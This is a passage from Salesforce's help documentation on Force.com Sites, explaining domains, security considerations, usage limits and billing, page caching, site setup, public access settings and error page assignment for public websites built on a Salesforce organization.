permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server,
create custom Web pages ( JSP, PHP, or other), and perform API integration between your site and your organization.
Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation.
With Force.com sites, you no longer have to do any of those things. Force.com sites enables you to create public websites and
applications that are directly integrated with your Salesforce.com organization—without requiring users to log in with a
username and password. You can publicly expose any information stored in your organization through a branded URL of your
choice. You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on

1261
Force.com Sites Sites Overview

Force.com servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation
on collected information is performed automatically. You can also enable users to register for or log in to an associated portal
seamlessly from your public site.
The following examples illustrate a few ways that you can use sites:

• Create an ideas site—Use sites to host a public community forum for sharing and voting on ideas about your company,
services, or products. Ideas websites can be made public using sites.
• Publish a support FAQ—Provide helpful information on a public website where customers can search for solutions to
their issues.
• Create a store locator tool—Add a public tool to your portal that helps customers find stores in their area.
• Publish an employee directory—Add an employee directory to your company's intranet by creating a site restricted by IP
range.
• Create a recruiting website—Post job openings to a public site and allow visitors to submit applications and resumes online.
• Publish a catalog of products—List all of your company's products on a public website, with model numbers, current prices,
and product images pulled dynamically from your organization.

The Force.com Domain


For each of your sites, you determine the URL of the site by establishing the site's domain name. You can choose one of the
following domain options:
• Use your Force.com domain name, which is your unique subdomain prefix plus force.com. For example, if you choose
mycompany as your subdomain prefix, your domain name would be http://www.mycompany.force.com. The name
is case-sensitive.
Note: Your Force.com domain name is used for all the sites that you create. For example, your company could
create one public site for partners, another for developers, and a third for support. If your company's domain is
http://www.mycompany.force.com, those three sites might have the following URLs:

- http://mycompany.force.com/partners
- http://mycompany.force.com/developers
- http://mycompany.force.com/support

• Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain
name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain
without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become
available on the Internet. Custom Web addresses are not supported for sandbox or Developer Edition organizations.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
suffix. In the following examples, the subdomain prefix is “mycompany,” the sandbox name is “mysandbox,” the instance
name is “na1,” and the sandbox instance name is “cs1”:

Organization Type Secure URL


Developer Edition https://mycompany-developer-edition.na1.force.com

Sandbox https://mycompany.mysandbox.cs1.force.com

Production https://mycompany.secure.force.com

1262
Force.com Sites Sites Considerations

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.

See Also:
Sites Considerations
Setting Up Sites
Managing Sites
Registering a Custom Force.com Domain
Creating and Editing Sites
Configuring Sites
Sites Limits and Billing
Reporting on Sites
Tracking Your Site with Google Analytics
About Syndication Feeds
Ideas Overview
Administrator setup guide: Force.com Sites Implementation Guide

Sites Considerations
Available in: Developer, Enterprise, and Unlimited Editions

Before creating and using Force.com sites, consider the following:


Domain Registration
The following apply to domain registration for sites:

• If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME
record that you provide to that registrar must be your Force.com domain name and not the site URL. For example,
if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
• Custom Web addresses are not supported for sandbox or Developer Edition organizations.

Security
The following apply to security for sites:

• If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the
Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging
in to the associated portal from the site will see the secure.force.com domain. For example, if you registered
mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com
upon login. For more information, see Managing Force.com Site Login and Registration Settings.
• Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain
name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for
the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL using
refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.

1263
Force.com Sites Sites Considerations

• To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with
your Force.com domain to access your site.
• Authenticated and non-authenticated users may see different error messages for certain conditions—for example,
on Apex exceptions.
• Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS.
• Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only
within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static
resources to expire from the Salesforce.com cache and any intermediate caches.

Caution:

• Salesforce.com recommends setting the sharing to private for the objects on which you grant “Read” access
for your site. This ensures that users accessing your site can view and edit only the data related to your site.
• Salesforce.com also recommends securing the visibility of all list views. Set the visibility of your list views to
Visible to certain groups of users, and specify the groups to share to. List views whose visibility
is set to Visible to all users may be visible to public users of your site. To share a list view with public
users, create a new public group for those users and give them visibility. If the object's sharing is set to private,
public users will not be able to see those records, regardless of list view visibility.

Ideas
For ideas to work with sites, the organization must have an active portal associated with that community. Otherwise,
users will encounter errors.

Self-Registration
The following apply to self-registration for sites:

• Sites does not support the use of Person Accounts for self registration.
• Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
• On self-registration through a site:

- Validation rules are enforced on user creation.


- Validation rules are ignored on contact creation.

Packaging
The following apply to packaging for sites:

• Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components
for a site using a managed package.
• You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or
Apex classes that refer to a site.

Availability
Because Force.com sites are served directly from the Salesforce.com organization, a site's availability is directly related
to the organization's availability. During your organization's maintenance window for major releases, your sites will be
unavailable; users who try to access a site will see a Force.com-branded maintenance page or your custom Service Not
Available Page. It's a good idea to inform your site users of the release maintenance windows and related sites unavailability
in advance.

1264
Force.com Sites Sites Limits and Billing

You can view specific maintenance windows, listed by instance, at trust.salesforce.com/trust/status/#maint.

Access and Authentication


You can grant “Read” and “Create” permissions on all standard objects except products, price books, and ideas; and
“Read,” “Create,” “Edit,” and “Delete” on all custom objects. For additional access, you must authenticate site visitors
as portal users.
Custom authentication is not supported. You can authenticate via the following:

• Customer Portals—enable public login and registration


• Partner portals—create partner users

Tip: You can also enable single sign-on for portals, as well as Sites.

See Also:
Sites Overview
Setting Up Sites
Caching Sites Pages
Sites Limits and Billing
Viewing 24-Hour Site Usage History
Setting Up Your Customer Portal

Sites Limits and Billing


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your
sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid
exceeding these limits.
This topic contains the following sections:

• Limits and Billing Terminology


• Sites Limits and Restrictions
• Billing and Monthly Page Views Enforcement
• What Counts as a Page View?

Limits and Billing Terminology


This section defines the terminology used for Force.com sites limits and billing:
• “Page Views” are calculated as the total number of pages served from either the site's origin server or the cache server.
• “Bandwidth” is calculated as the number of megabytes served and received from both the site's origin server and the cache
server.
• “Service request time” is calculated as the total server time in minutes required to generate pages for the site.

1265
Force.com Sites Sites Limits and Billing

• “Rolling 24-hour period” refers to the 24 hours immediately preceding the current time.
• “Origin server” refers to the Web server that hosts your site.
• “Cache server” refers to the CDN server that serves your cached site pages.
• “Current period” refers to the current calendar month for which you are entitled a certain number of page views for your
organization.

Sites Limits and Restrictions


The following table lists the site limits for each edition:

Edition Maximum Number Bandwidth Limit (per rolling Service Request Time (per Maximum Page
of Sites 24-hour period per site) rolling 24-hour period per Views
site)
Developer Edition 1 500 MB 10 minutes N/A
Free Edition 1 10 GB 360 minutes 250,000
Enterprise Edition 25 1 GB for sandbox 30 minutes for sandbox 500,000
40 GB for production 60 hours for production

Unilimited Edition 25 1 GB for sandbox 30 minutes for sandbox 1,000,000


40 GB for production 60 hours for production

Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage
analytics tools to monitor your sites.

Billing and Monthly Page Views Enforcement


This section describes how salesforce.com enforces limits on monthly page views for sites:
• Billing is based on the number of monthly page views purchased for your organization. This page view limit is cumulative
for all sites in your organization.
• If, in a given calendar month, your organization reaches 110% of its page view limit, salesforce.com sends the site and
billing administrators email notification.
• If your organization exceeds 110% of its page view limit for four consecutive calendar months, your sites are disabled until
the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site
and billing administrators, as well as the related account executive.
• If, in a given calendar month, your organization reaches 300% of its page view limit, your sites are disabled until the next
calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and
billing administrators, as well as the related account executive.

What Counts as a Page View?


This section describes how page views are counted for sites.
A page view is a request from a non-authenticated site user to load a page associated with one of the sites within your Force.com
domain or custom domain. Requests from authenticated portal users are not counted as page views.
Requests that Count as Page Views
Requests for the following are counted as page views:

1266
Force.com Sites Sites Limits and Billing

Requests for... Example URL


Your Force.com domain http://mycompany.force.com

Your custom Web address http://mycompany.com

Any page associated with your site http://mycompany.force.com/mypage

Ajax requests n/a

Requests that Do Not Count as Page Views


Requests for the following are not counted as page views:

Requests for... Example URL


Salesforce.com images http://mycompany.force.com/img/force_logo_w09.gif

Your static resources http://mycompany.force.com/resource/1233771498000/background

Robots.txt http://mycompany.force.com/robots.txt

Favorite icon http://mycompany.force.com/favicon.ico

Attachments and Documents n/a


Error Pages, such as Bandwidth Exceeded http://mycompany.force.com/BandwidthExceeded
and In Maintenance

Note: Usage of the Bandwidth Limit Exceeded Page, the Maintenance Page, and the designated Inactive Home
page are not counted against page view and bandwidth limits. You can use static resources to brand these pages,
but the following limitations apply:
• Static resources must be 50 KB or smaller in size.
• Static resources must be stylesheets (CSS), image files, or javascript files.
• You cannot use Apex controllers for these pages.
• You cannot perform SOQL or DML operations from these pages.

See Also:
Sites Overview
Caching Sites Pages
Viewing 24-Hour Site Usage History
Reporting on Sites
Tracking Your Site with Google Analytics

1267
Force.com Sites Caching Sites Pages

Caching Sites Pages


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites enforces two 24-hour rolling limits—bandwidth and service request time—which vary by organization type.
Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages
that consume lots of bandwidth or processing time. “Rolling 24-hour period” refers to the 24 hours immediately preceding
the current time.
Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to
improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits.
Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users.
Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each
Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds).
For example, a page whose cache is set to expire in 15 minutes looks like this:

<apex:page cache="true" expires="900">

Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer
Edition organizations.
To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached
via the CDN.
Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN.

Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the
caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these
cases.
For Requests Coming from the Caching Server
If the site is login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Cache expires according to user-set Caching server only
value
Not Set Cache expires in ten minutes Caching server only
Set to FALSE Not cached None

If the site is not login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Cache expires according to user-set Both caching server and browser
value

1268
Force.com Sites Caching Sites Pages

Cache Attribute Caching Behavior Caching Location


Not Set Cache expires in ten minutes Both caching server and browser
Set to FALSE Not cached None

For Requests Not Coming from the Caching Server


If the site is login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Not cached None
Not Set Not cached None
Set to FALSE Not cached None

If the site is not login-enabled:

Cache Attribute Caching Behavior Caching Location


Set to TRUE Cache expires according to user-set Browser only
value
Not Set Cache expires in ten minutes Browser only
Set to FALSE Not cached None

See Also:
Sites Overview
Sites Limits and Billing
Setting Up Sites
Viewing 24-Hour Site Usage History
Reporting on Sites
Tracking Your Site with Google Analytics

1269
Force.com Sites Setting Up Sites

Setting Up Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”
To edit public access settings for Force.com sites: “Manage Users”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To set up a Force.com site:

1. Click Setup ➤ Develop ➤ Sites.


2. Register a custom Force.com domain for your organization.
3. Create and configure your site.
4. Develop and use Visualforce pages for your site, use or hide standard pages, and customize or replace out-of-box error
pages. Associate these pages with your site.
5. Choose a site template. Use the lookup field to find and select a template that you've developed, or use the out-of-box
template provided. The site template provides the page layout and stylesheet for your site and overrides any formatting
inherited from the associated portal.
6. Enable a portal for login or self-registration, then associate it with your site.
7. Optionally, modify public access settings.
8. When you are ready to make your site public, click Activate on the Site Details page. You can also activate your site from
the Site Edit and Sites pages.

Once you have set up a site, you can:

• Run reports and dashboards on your site.


• Create workflow rules that trigger email alerts when site-related criteria are met.

See Also:
Sites Overview
Managing Sites
Creating and Editing Sites
Configuring Sites
Associating a Portal with Sites

1270
Force.com Sites Managing Sites

Managing Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To get started using Force.com sites, click Setup ➤ Develop ➤ Sites. From this page, you can:

• Register your Force.com domain, if you have not yet done so.
• View all sites hosted on your Force.com domain.
• Click New to create a new site.
• Click Edit to make changes to an existing site.
• Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.

• Click the site's label to view that site's details.


• Click the site's URL to open that site in a browser.

See Also:
Sites Overview
Setting Up Sites
Creating and Editing Sites
Configuring Sites

Registering a Custom Force.com Domain


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.

1271
Force.com Sites Registering a Custom Force.com Domain

To get started, register your company's Force.com domain. This one domain name is used for all the sites that you create.
Even if you register a branded Web address for your site, you must choose a Force.com domain. The branded URL will be
redirected to the Force.com domain.
To register your Force.com domain:

1. Click Setup ➤ Develop ➤ Sites.


2. Enter a unique name for your Force.com domain. This name can contain only underscores and alphanumeric characters,
and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores. Salesforce.com recommends using your company's name or a variation, such as
mycompany.
Caution: You cannot modify your Force.com domain name after you have registered it.
Free Edition domain names are assigned automatically and can't be updated. Create a custom Web address if you
want to use a custom domain name.

3. Click Check Availability to confirm that the domain name you entered is unique. If it is not unique, you are prompted
to change it.
4. Read and accept the Sites Terms of Use by selecting the checkbox.
5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the
changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It
may take up to 48 hours for your registration to take effect.

Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
suffix. In the following examples, the subdomain prefix is “mycompany,” the sandbox name is “mysandbox,” the instance
name is “na1,” and the sandbox instance name is “cs1”:

Organization Type Secure URL


Developer Edition https://mycompany-developer-edition.na1.force.com

Sandbox https://mycompany.mysandbox.cs1.force.com

Production https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.

See Also:
Sites Overview
Sites Considerations
Setting Up Sites

1272
Force.com Sites Creating and Editing Sites

Creating and Editing Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
After registering your Force.com domain, create a Force.com site using the following steps:

1. Click Setup ➤ Develop ➤ Sites.


2. Click New or click Edit for an existing site.
3. On the Site Edit page, define the following:

Field Description
Site Label The name of the site as it appears in the user interface.
Site Name The name used when referencing the site in the Web services API. This name
can contain only underscores and alphanumeric characters, and must be unique
in your organization. It must begin with a letter, not include spaces, not end with
an underscore, and not contain two consecutive underscores.
Site Description An optional description of the site.
Site Contact The user who will receive site-related communications from the site's visitors
and salesforce.com.
Default Web Address The unique Force.com URL for this site. Force.com provides the first part of
the URL based on the domain name that you registered; you must add a unique
site name to the end. Unless you configure a custom Web address through a
domain name registrar, this is the URL that the public will use to access your
site.
Secure Web Address The unique Force.com URL for this site when using SSL. The secure Web
address is used for SSL even if you defined a custom Web address.
Custom Web Address The optional branded custom Web address that you registered with a third-party
domain name registrar. The custom Web address acts as an alias to your
Force.com address.
To enable a custom Web address, create a CNAME record to your Force.com
domain with that registrar. If you have not registered this address, you encounter
an error. Custom Web addresses are not available in sandbox or Developer
Edition organizations.

1273
Force.com Sites Creating and Editing Sites

Field Description
Note: If you choose to create a branded top-level domain or subdomain
through a domain name registrar, the CNAME record that you provide
to that registrar must be your Force.com domain name and not the site
URL. For example, if you entered mycompany when registering your
Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.

Active The option that activates your site when you are ready to make it available to the
public. You can also activate your site from the Sites and Site Details pages.
When the site is inactive, users will see the page specified in the Inactive
Site Home Page field.

Active Site Home Page The landing page that users are directed to when this site is active. Use the lookup
field to find and select the Visualforce page that you developed for your site's
home page. Choose the UnderConstruction page if you just want to test your
site.
For ideas sites, you must use the IdeasHome page and for answers sites you must
use the AnswersHome page. The “look and feel” for your Ideas site or Answers
site will be inherited from its associated portal unless you select a site template.
If you deployed a site before the Summer '10 release, you can set AnswersHome
as your default landing page if you create a Visualforce page using <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>

Inactive Site Home Page The landing page that users are directed to when this site is inactive. Use the
lookup field to find and select the page that you want to use. You can, for example,
select a page to indicate that the site is under construction or down for
maintenance.
Site Template The template that provides the page layout and stylesheet for your site. The site
template overrides any formatting inherited from the associated portal. Use the
lookup field to find and select a template that you've developed, or use the
out-of-box template provided.
Note: The site template specified here is used only for Visualforce pages
using the $Site.Template expression.

Site Robots.txt A file that determines which parts of your public site Web spiders and other
Web robots can access. Web robots are often used by search engines to categorize
and archive websites. HTML tags are not allowed, as they are not compatible
with robots.txt spiders. For Visualforce pages, add
contentType="text/plain" to the <apex:page> tag.

Example disallowing all robots from indexing all pages:

<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: / # Disallow indexing of all pages
</apex:page>

1274
Force.com Sites Creating and Editing Sites

Field Description
Example allowing all robots to index all pages:

<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: # Allow indexing of all pages
</apex:page>

Site Favorite Icon The icon that appears in the browser's address field when visiting the site. Use
this field to set the favorite icon for your entire site instead of for each page.
Changes will be reflected on your site one day after you make them, due to
caching.
Analytics Tracking Code The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.
URL Rewriter Class An Apex class to use for rewriting URLs for your site, from Salesforce.com URLs
to user-friendly URLs. With this class, you can make rules to rewrite site URL
requests typed into the address bar, launched from bookmarks, or linked from
external websites. You can also create rules to rewrite the URLs for links within
site pages.
For more information, see “Site.UrlRewriter” in the Force.com Apex Code
Developer's Guide.

Enable Feeds The option that displays the Syndication Feeds related list, where you can create
and manage syndication feeds for users on your public sites. This field is visible
only if you have the feature enabled for your organization.

4. Click Save.

See Also:
Sites Overview
Setting Up Sites
Managing Sites
Configuring Sites
Sites-Related Apex Methods and Expressions

1275
Force.com Sites Configuring Sites

Configuring Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”
To edit public access settings for Force.com sites: “Manage Users”

Once you have created your site, you can configure it on the Site Details page. To access this page, click Setup ➤ Develop
➤ Sites, and then in the Sites list, click the site name. You can do the following:

• Click Edit to make changes to the site.


• Click Public Access Settings to view or edit the security settings, including permissions, page layouts, and more.
• Click Login Settings to configure the login and registration settings for your site. Built-in login and registration logic
allows users to quickly register for, and seamlessly log in to, your portal from your public site.
• Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.

• Click Preview as Admin to view your site in administrator preview mode. Administrator preview mode shows the errors
on each site page in context and in greater detail, so you can more easily troubleshoot site issues.
• Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All
pages associated with the site must be enabled.
• Click Page Assignment to assign error pages for standard errors, such as “Authorization Required (401)” and “Page Not
Found (404).” You can override or edit the default pages that are provided.
• Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list
to display this related list.
• View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and
the percentage used.

1276
Force.com Sites Reporting on Sites

• View the Site History related list to see the configuration changes that have been tracked for your site.

See Also:
Sites Overview
Creating and Editing Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
Viewing 24-Hour Site Usage History
Viewing Force.com Site History
Public Access Settings for Sites
Managing Force.com Site Login and Registration Settings
About Syndication Feeds

Reporting on Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To install packages: “Download AppExchange Packages”
To run reports: “Run Reports”
AND
“Read” on the records included in reports

To create, edit, save, and delete reports: “Run Reports” and “Read” on the records included in the
reports
AND
“Create and Customize Reports”

To create, edit, and delete dashboards: “Run Reports”


AND
“Manage Dashboards”

To keep track of your site activity and usage, take advantage of the Sites Usage Reporting managed package to analyze your
monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily limits for
individual sites, as well as for your organization.
To get started using Salesforce.com analytics for sites:

1. Install the Sites Usage Reporting managed package.


2. Use packaged reports to analyze site usage.

1277
Force.com Sites Reporting on Sites

3. Optionally, create custom reports to analyze site usage.


4. Use the Site Usage Dashboard to monitor sites.

Install the Sites Usage Reporting Managed Package


The Sites Usage Reporting managed package, available on AppExchange, contains out-of-the-box reports and a dashboard
for monitoring sites usage.
To find the Sites Usage Reporting managed package, go to AppExchange and search on “sites reporting,” or go to
http://sites.force.com/appexchange/listingDetail?listingId=a0N30000001SUEwEAO.

Use Packaged Reports to Analyze Site Usage


The Sites Usage Reporting managed package contains the following reports to help you perform analytics on usage for the
sites in your organization. You can find these reports in the Site Usage Reports folder under All Reports in the Reports tab.
You can also select Site Usage Reports in the Folder drop-down list, then click Go.
Note: Site usage data is aggregated at midnight, GMT, so the current day's page view counts may not be accurately
reflected in reports, depending on your time zone. Cache server page views may take a day or more to be reflected in
reports.

Report Description
Current Period Page Views Shows the total page views for the current period (calendar month), measured against
page views allowed. Page views are broken down by site and by day. The current period
limit applies to all sites within the organization.
Daily Total Bandwidth Usage Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and
by origin and cache servers.
Daily Total Page Views Shows the total page views over the last 30 days, broken down site, by day, and by origin
and cache servers.
Site Daily Origin Bandwidth Shows the total origin bandwidth usage over the last 30 days, broken down by site and
Usage by day.
Site Daily Request Time Usage Shows the total origin service request time over the last 30 days, broken down by site and
by day.
Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period.
Top Resource Consuming Sites Shows the sites that consumed the most service request time during the current period.
Top Sites by Page Views Shows the sites that generated the most page views during the current period.

Create Custom Reports to Analyze Site Usage


You can also create custom reports on sites:
1. From the Reports tab, click Create New Custom Report.
2. For the report type, select Administrative Reports, then Site Usage Reports. You must enable sites for your organization
and install the Sites Usage Reporting managed package to see the Site Usage Reports custom report type.
3. Click Next and follow the instructions for creating a custom report. Fields related to your sites, such as Site Name, Site
Status, Daily Bandwidth Limit, and Daily Request Time Limit can all be used in your custom report.

1278
Force.com Sites Public Access Settings for Sites

Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the
Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds.
Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit
and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively.
For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request
time is measured in minutes.

Use the Site Usage Dashboard to Monitor Sites


The Sites Usage Reporting managed package contains the Site Usage Dashboard to help you monitor the sites in your
organization at a glance. The dashboard contains a component for each of the reports provided in the managed package.
To access the dashboard, from the Dashboards tab:
• Use the View Dashboard field
• Or, click Go to Dashboard List and select Site Usage Dashboard from the Folder drop-down list.
To modify the dashboard, click Edit and follow the instructions for editing dashboards. You can also create your own custom
dashboard using any custom reports you may have created. Consider adding the Site Usage Dashboard as the dashboard
snapshot on your home page.

See Also:
Sites Overview
Viewing 24-Hour Site Usage History
Tracking Your Site with Google Analytics
Reports Overview
Dashboards Overview

Public Access Settings for Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”
To edit public access settings for Force.com sites: “Manage Users”

Public access settings control what public users can do on each Force.com site. To set the public access settings for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to control.
3. Click Public Access Settings.
From the Profile page, you can:

1279
Force.com Sites Public Access Settings for Sites

• Click Edit to set the public access permissions for your site. You can grant “Read” and “Create” permissions on all
standard objects except products, price books, and ideas; and “Read,” “Create,” “Edit,” and “Delete” on all custom
objects. All permissions that are not set by default must be set manually.
Caution: Salesforce.com recommends setting the sharing to private for the objects on which you grant “Read”
access for your site. This ensures that users accessing your site can view and edit only the data related to your
site.
Salesforce.com also recommends securing the visibility of all list views. Set the visibility of your list views to
Visible to certain groups of users, and specify the groups to share to. List views whose visibility
is set to Visible to all users may be visible to public users of your site. To share a list view with public
users, create a new public group for those users and give them visibility. If the object's sharing is set to private,
public users will not be able to see those records, regardless of list view visibility.

• Click Edit to control the visibility of custom applications in the Custom App Settings section of the page. If you want
to expose a custom application and its associated tabs to public users, make only that application visible and make it
the default to avoid exposing other pages. If any of your site pages uses standard Salesforce.com headers, other visible
applications may be seen by public users.
• Click Edit on the Login Hours related list to set the hours during which users can access the site.
• Click New on the Login IP Ranges related list to restrict the IP address ranges from which you can access the site.
Force.com sites ignore company-wide IP range restrictions in order to provide public access; however, you can restrict
the IP range here.
Note: To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL
associated with your Force.com domain to access your site.

• Click Edit on the Enabled Apex Class Access related list to select Apex controllers and methods for your site. Controllers
and methods that are already associated with your site's Visualforce pages are enabled by default.
• Click Edit on the Enabled Visualforce Page Access related list to select Visualforce pages for your site. Changes made
here are reflected on the Site Visualforce Pages related list on the Site Details page, and vice versa.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Sites-Related Apex Methods and Expressions
Setting Your Organization-Wide Sharing Model

1280
Force.com Sites Managing Force.com Site Visualforce Pages

Managing Force.com Site Visualforce Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images. Don't rename or delete SiteSamples or you may get an error.
All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce
Pages, an authentication or page-not-found error is displayed based on the existence of the page.
To enable Visualforce pages for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to modify.
3. Click Edit on the Site Visualforce Pages related list.
4. Use the Add and Remove buttons to enable or disable Visualforce pages for your site.
5. Click Save.

Note: If you select a Visualforce page for any of the lookup fields on the Site Detail page, any of the error pages, or
the Change Password Page under login settings, that page is automatically enabled for your site. If you remove a
page from this list, but it is still selected in one of these places, public users can access that page. To completely remove
pages from your site, disable them here and make sure they are not selected in any lookup fields for your site.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
What is a Static Resource?

1281
Force.com Sites Managing Force.com Site Standard Pages

Managing Force.com Site Standard Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can
use.
All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages,
Salesforce.com displays an authorization required error.
To control which standard pages users see for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to view.
3. Click Edit on the Site Standard Pages related list.
4. Use the Add and Remove buttons to enable or disable the following standard pages for your site:

• Home Page—The standard page associated with the Home tab (/home/home.jsp).
• Ideas Pages—The standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome),
enable these pages.
• Answers Pages—The standard pages associated with answers. If you want to use default answers pages (for example,
AnswersHome), enable these pages.
• Search Pages—The standard Salesforce.com search pages. To allow public users to perform standard searches, enable
these pages.
• Lookup Pages—The standard Salesforce.com lookup pages. These are the popup windows associated with lookup
fields on Visualforce pages.

5. Click Save.

Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible
to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Visualforce Pages
Assigning Force.com Site Error Pages

1282
Force.com Sites Assigning Force.com Site Error Pages

Assigning Force.com Site Error Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images. Don't rename or delete SiteSamples or you may get an error.
To set the error pages for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to modify.
3. Click Page Assignment on the Error Pages related list.
4. Using the lookup fields, assign a Visualforce page or static resource for each of the standard error conditions listed:

• Authorization Required Page—The page users see when trying to access pages for which they do not have
authorization.
• Limit Exceeded Page—The page users see when your site has exceeded its bandwidth limits.
• Maintenance Page—The page users see when your site is down for maintenance.
• Service Not Available Page—The page users see when Salesforce.com servers are unavailable. This custom
